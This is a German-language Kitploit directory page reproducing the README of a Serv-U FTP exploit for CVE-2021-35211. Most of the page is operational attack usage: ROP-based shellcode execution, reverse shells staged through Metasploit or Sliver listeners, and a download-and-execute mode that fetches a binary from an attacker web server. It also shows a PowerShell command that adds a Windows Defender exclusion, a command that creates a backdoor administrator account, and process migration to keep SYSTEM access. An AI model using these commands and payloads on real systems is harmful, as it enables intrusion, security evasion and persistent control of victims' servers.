Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2021-35211 — Serv-U-FTP CVE-2021-35211 Exploit | Kitploit
Tools/GitHubGitHub/0xhaggis/cve-2021-35211
SchwachstellenanalyseExploitationShellcodePenetrationstestsCommand and ControlRemote-Access-ToolPayload-EntwicklungBinary-Exploitation
GitHub0xhaggis/cve-2021-35211

CVE-2021-35211

Serv-U-FTP CVE-2021-35211 Exploit

Repository anzeigen
1vor 4 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Serv-U CVE-2021-35211 Exploit

Potenzial für DoS - überprüfen Sie Ihre Einsatzregeln

Der Exploit funktioniert nicht jedes Mal, aber er funktioniert oft genug, um bei etwa 1 von 5 oder 6 Läufen Shellcode auszuführen. Ein fehlgeschlagener Exploit kann jedoch manchmal den Serv-U-Server zum Absturz bringen. Stellen Sie sicher, dass Ihre Einsatzregeln das Risiko von Dienstausfällen oder -verschlechterungen zulassen. Symptome, die beim Testen beobachtet wurden, umfassen:

  • Absturz und automatischer Neustart (am häufigsten)
  • Abmelden angemeldeter Benutzer bei erfolgreichen und erfolglosen Versuchen
  • Absturz ohne automatischen Neustart

Caveat emptor.

Schnellstart

Versionen sind wichtig. Dieser Exploit verwendet fest codierte ROP-Adressen, die nur für die Serv-U-Version 15.2.3.717 gültig sind. Möglicherweise können wir andere Versionen hinzufügen – fragen Sie bitte nach, wenn Sie es mit anderen Versionen von Serv-U oder Windows benötigen.

Überprüfen Sie die Version auf Ihrem Ziel

root@kitploit:~
% ncat www.example.com 22
SSH-2.0-Serv-U_15.2.3.717

Ausführen des Exploits

Er akzeptiert die folgenden Argumente:

root@kitploit:~
% python3 CVE-2021-35211.py
usage: CVE-2021-35211.py [-h] [-p TARGETPORT] targetHost {stage,exec,downloadexec} ...

Es gibt drei Modi (bzw. Payloads), die Sie bei einem erfolgreichen Angriff ausführen können:

  1. stage
  2. exec
  3. downloadexec

Stage-Modus

Nach erfolgreichem Exploit wird ein mit Metasploit/Sliver kompatibler Shellcode-Stager ausgeführt. Er ist der am wenigsten zuverlässige aller Payloads; ziehen Sie downloadexec stattdessen in Betracht. So führen Sie ihn aus:

root@kitploit:~
% python3 CVE-2021-35211.py example.com stage -h
usage: CVE-2021-35211.py targetHost stage [-h] stageHost stagePort

positional arguments:
  stageHost   Hostname oder IPv4-Adresse Ihrer Metasploit/Sliver-Shellcode-Staging-Instanz
  stagePort   Portnummer für Ihre Staging-Instanz

optional arguments:
  -h, --help  show this help message and exit

stageHost und stagePort zeigen auf einen Lauscher auf Ihrer Sliver-/Metasploit-Maschine. Sie können jeden gewünschten Payload wählen, aber ich habe festgestellt, dass der einzige, der zuverlässig funktioniert, windows/x64/shell/reverse_tcp ist. Das ist schade, da dies keine verschlüsselte Shell ist und Sie Ihre Einsatzregeln überprüfen müssen, bevor Sie so etwas starten.

Nochmals: caveat emptor.

Richten Sie es in Metasploit auf Ihrer Kali-Box wie folgt ein:

root@kitploit:~
elvis@kali:~ msfconsole
...
msf5 >
msf5 > handler -H 0.0.0.0 -P 10444 -p windows/x64/shell/reverse_tcp
[*] Payload handler running as background job 1.

Dann führen Sie den Exploit aus:

root@kitploit:~
% python3 CVE-2021-35211.py example.com stage your.metasploit.box 31337
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.

Zurück auf der Kali-Box sollten Sie die Stage-Anfrage und den Start der Befehlsshell sehen:

root@kitploit:~
msf5 >
[*] Sending stage (336 bytes) to example.com
[*] Command shell session 6 opened (10.10.10.14:10444 -> example.com:57562) at 2021-10-22 18:50:11 +0000

msf5 >sessions -i 6
[*] Starting interaction with 6...


(c) Microsoft Corporation. All rights reserved.

C:\Program Files\RhinoSoft\Serv-U>whoami
whoami
nt authority\system

Sliver

Die Sliver-Unterstützung im Stager-Payload ist höchst experimentell und funktioniert selten. Wenn es funktioniert, werden normalerweise Sitzungen gestartet und sofort beendet. Wenn Sie jedoch eine Sitzung erhalten, die nicht sofort endet, können Sie Maßnahmen ergreifen, um Ihren Sliver-Zugriff aufrechtzuerhalten, indem Sie zu einem anderen Prozess migrieren.

Führen Sie auf Ihrem Sliver-Server den Befehl stage-listener aus, um Ihren Listener einzurichten. Weitere Details zum Staging finden Sie in der Sliver-Dokumentation:

root@kitploit:~
elvis@h:/ehome/haggis$ sudo sliver-server

    ███████╗██╗     ██╗██╗   ██╗███████╗██████╗
    ██╔════╝██║     ██║██║   ██║██╔════╝██╔══██╗
    ███████╗██║     ██║██║   ██║█████╗  ██████╔╝
    ╚════██║██║     ██║╚██╗ ██╔╝██╔══╝  ██╔══██╗
    ███████║███████╗██║ ╚████╔╝ ███████╗██║  ██║
    ╚══════╝╚══════╝╚═╝  ╚═══╝  ╚══════╝╚═╝  ╚═╝

All hackers gain first strike
[*] Server v1.4.17 - 410f0756d26cb279216aecde68c14e68b5c9df32
[*] Welcome to the sliver shell, please type 'help' for options

[*] Check for updates with the 'update' command

sliver > 
sliver > stage-listener --url tcp://0.0.0.0:10443 --profile win-shellcode

Führen Sie den Exploit im Stage-Modus aus:

root@kitploit:~
% python3 CVE-2021-35211.py example.com stage your.sliver.box 10443
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.

Wenn der Exploit funktioniert (und das tut er sehr selten mit Sliver- oder Meterpreter-Payloads), sehen Sie so etwas (und ja, Sliver hat diesen Payload-Namen ganz allein erfunden!):

root@kitploit:~
[*] Session #4 ARTISTIC_PANTIES - example.com:57071 (WIN-EMCK6E5O0DI) - windows/amd64 - Wed, 20 Oct 2021 04:24:10 UTC

sliver > sessions -i 4

[*] Active session ARTISTIC_PANTIES (4)

sliver (ARTISTIC_PANTIES) > info

                ID: 4
              Name: ARTISTIC_PANTIES
          Hostname: WIN-EMCK6E5O0DI
              UUID: 0af9fbf2-c8b0-498c-8d9d-332f13e5d0f8
          Username: NT AUTHORITY\SYSTEM
               UID: S-1-5-18
               GID: S-1-5-18
               PID: 3956
                OS: windows
           Version: Server 2016 build 20348 x86_64
              Arch: amd64
    Remote Address: example.com:57071
         Proxy URL: none
     Poll Interval: 1
Reconnect Interval: 60

Das Erste, was Sie tun sollten, ist, zu einem anderen Prozess zu migrieren, da die Wahrscheinlichkeit hoch ist, dass Ihre Sliver-Sitzung stirbt und nicht zurückkommt – und ich kenne zum Zeitpunkt des Schreibens die Ursache nicht.

root@kitploit:~
sliver (ARTISTIC_PANTIES) > ps

pid   ppid  owner                         executable                   session
===   ====  =====                         ==========                   =======
0     0                                   [System Process]             -1
4     0                                   System                       0
...
3872  728   NT AUTHORITY\SYSTEM           svchost.exe                  0
4868  728   BUILTIN\Administrators        Serv-U.exe                   0
4636  868   BUILTIN\Administrators        dllhost.exe                  0

sliver (ARTISTIC_PANTIES) > migrate 3872

[*] Successfully migrated to 3872

Zu diesem Zeitpunkt sollten Sie eine stabile Sliver-Sitzung haben, die immun gegen die Launen von Serv-U und diesem Exploit ist.

Download-und-Ausführungs-Modus

Der zuverlässigste Modus und der, der am wenigsten wahrscheinlich von der Microsoft Defender-Endpunktsicherheit angepingt wird. Dies liegt daran, dass ein PowerShell-Befehl (powershell -Command "& {Add-MpPreference -ExclusionPath c:\windows\temp}") verwendet wird, um eine Verzeichnisausnahme zu Microsoft Defender hinzuzufügen, sodass Sliver/Meterpreter/was auch immer für Binärdateien nicht auf Malware gescannt werden. Dies schützt Sie vor Windows Defender, aber das war's; Sie müssen andere Endpunktsicherheitstechnologien, Netzwerk-IDS usw. berücksichtigen.

Im Erfolgsfall wird eine Binärdatei von einer URL heruntergeladen und ausgeführt. Sie benötigen einen Webserver, der Ihre ausführbare Datei hostet. Ich habe Python verwendet, aber beachten Sie bitte, dass ich in einem lokalen Netzwerk ohne SSL teste. Bei echten Exploits müssen Sie Ihre Einsatzregeln überprüfen, wenn Sie unverschlüsselte URLs verwenden möchten.

Nicht zum ersten Mal: caveat emptor.

Starten Sie einen einfachen HTTP-Listener wie folgt:

root@kitploit:~
% python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...

Führen Sie mit dem laufenden Listener den Exploit aus:

root@kitploit:~
% python3 serv-u-exploit2.py example.com downloadexec http://192.168.0.144:8000/calc.exe
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.

Sie sollten in Ihrem Listener so etwas sehen:

root@kitploit:~
192.168.0.144 - - [22/Oct/2021 12:28:24] "GET /calc.exe HTTP/1.1" 200 -

Das Ziel führt calc.exe aus und startet den Serv-U-Dienst neu, damit Benutzer wieder Verbindungen herstellen können. Beachten Sie, dass die ausführbare Datei kein Fenster anzeigt, aber wenn Sie dieses Beispiel ausführen, sollten Sie wincalc.exe im Task-Manager sehen.

Befehlsausführungsmodus

Im Erfolgsfall wird ein Befehl auf dem Ziel ausgeführt. Führen Sie es wie folgt aus:

root@kitploit:~
% python3 serv-u-exploit2.py example.com exec 'net user bishopfox r34LLy.g00d_p4ssW0rd /add & net localgroup administrators bishopfox /add'
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.

Danksagungen

  • Die Microsoft-Forscher, die die Schwachstelle gefuzzt haben: https://www.microsoft.com/security/blog/2021/09/02/a-deep-dive-into-the-solarwinds-serv-u-ssh-vulnerability/
  • @NattiSamson hat den PoC erstellt, auf dem mein Code basiert: https://github.com/NattiSamson/Serv-U-CVE-2021-35211/blob/main/CVE-2021-35211_PoC.py

Abschließende Gedanken

Dieser Exploit neigt leider dazu, den entfernten Prozess zum Absturz zu bringen. Normalerweise wird er neu gestartet, und ich versuche zu sehen, ob ich ihn stabiler machen kann, aber bis dahin denken Sie bitte daran: Überprüfen Sie Ihre Einsatzregeln und caveat emptor.

Tool herunterladen